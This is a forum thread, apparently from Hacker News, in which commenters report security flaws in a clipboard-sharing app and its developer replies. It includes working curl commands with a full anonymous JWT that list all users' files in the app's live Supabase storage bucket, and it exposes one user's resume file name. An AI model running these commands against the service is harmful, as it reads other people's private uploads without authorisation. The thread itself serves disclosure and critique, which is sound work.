Also, uploaded images are publicly reachable in plaintext and without auth: https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...

Even better, you can enumerate ALL USER UPLOADS with the token you get by typing a random email into the sign-up without verification.

List all folders in the clipboard-images bucket (there's 5, guessing for each user):

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": ""}' \
    | jq

List everything in a specific user's folder:

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
    | jq

For example:

  {
    "name": "1766836115975-Gopal_Resume.pdf",
    "id": "7ba4b09f-a0ab-4ce1-ae04-dc664be25b0f",
    "updated_at": "2025-12-27T11:48:36.761Z",
    "created_at": "2025-12-27T11:48:36.761Z",
    "last_accessed_at": "2025-12-27T11:48:36.761Z",
    "metadata": {
      "eTag": "\"eb528546d014c8756fc1d0fedc252cff\"",
      "size": 75023,
      "mimetype": "application/pdf",
      "cacheControl": "max-age=3600",
      "lastModified": "2025-12-27T11:48:37.000Z",
      "contentLength": 75023,
      "httpStatusCode": 200
    }
  }

https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...

still working on it. Storage bucket policies now restrict folder access, but listing permissions need tightening. Will update bucket policies to prevent enumeration. Thanks for the detailed curl examples—they helped identify the exact issue.

Extra further finding!

Deletion policy says:

> 2. How to Delete Your Account and Data You have several options to delete your account and all associated data: Through the App: If you are signed in, you can delete your account directly from the Settings page. This will permanently delete all your data including [...] all uploaded images and files

... Although I've confirmed that the reality is that it only deletes the reference to those files from your account, and the actual files are still sitting on the server (I've just saved the url and checked the file still exists after deletion).

Even after it throws a message saying everything has been permanently deleted...

This thing is an absolute security and privacy nightmare - I would not rely on any information on the website about how they handle your data, considering they said it was e2e and that was not truthful, and they have said they delete the images and that isn't true. How can anything about this be trusted after repeated untruths about how our data is handled?

Also the app seems to send several MB of data back/forward every minute when doing nothing across a socket connection which is another red flag.

Thanks for reporting this. I'm working on it

jfc lol

but $LLM said it was E2EE!!1!

E2EE - Expected to eventually evaporate

Also Fixed. Images now use signed URLs with 1-year expiration. Public URLs are automatically converted to signed URLs. Storage bucket policies restrict access to user-specific folders. Appreciate you flagging this.

It appears to still be wide open:

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6IndqeW5tamx1YWJxd3FodGR4YnRsIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NDIzODU1MDQsImV4cCI6MjA1Nzk2MTUwNH0.R6pSgPFgHe3ZU9DfKykE98MC1ObYihWdZuhy9v9Y_p0" \
    -H "content-type: application/json" \
    -d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
    | jq

There is also an URL-signing oracle that allows any URL to be signed, so it's still possible to enumerate + download all files.

Example: https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/s...

Fixed. Each user now has a unique encryption key derived via PBKDF2 from master key + user ID. Old items are being re-encrypted in the background. See /data-security for details.

Thanks for catching this critical issue.

> Your encryption key is derived from a master key plus your user ID using PBKDF2 (a secure key derivation function). This means even if someone got access to the database, they couldn't decrypt your data without your specific key.

> Your text gets encrypted on our server using your unique key. The encrypted data gets stored in our database

> When you need it on another device, we decrypt it and send it to you

Please stop advertising this as E2EE.

If you encrypt/decrypt the data on the server, you must have the keys. If someone gets access to the server, they can just decrypt everything since the master key is right there. You might as well base64 encode everything and call that encryption.

E2EE is where only the clients have the keys. Data is encrypted before sending to the server, and decrypted after receiving from the server. That's why it's called end-to-end: the server only ever handles encrypted data that it doesn't have the keys to decrypt.

Why would you use PBKDF2 here?

I went with PBKDF2 mostly because of its wide support and compliance history, but I’d love to hear your take on what you’d recommend.

PBKDF2 is pretty obsolete crypto, argon2i I think is the latest for converting passphrases to keys. For generating keys, just use entropy instead.

If your input is a key and not a passphrase, you can just use a regular KDF. PBKDF2 is a waste of clock cycles.

Also, your site still says "E2EE" on the homepage, you should remove that.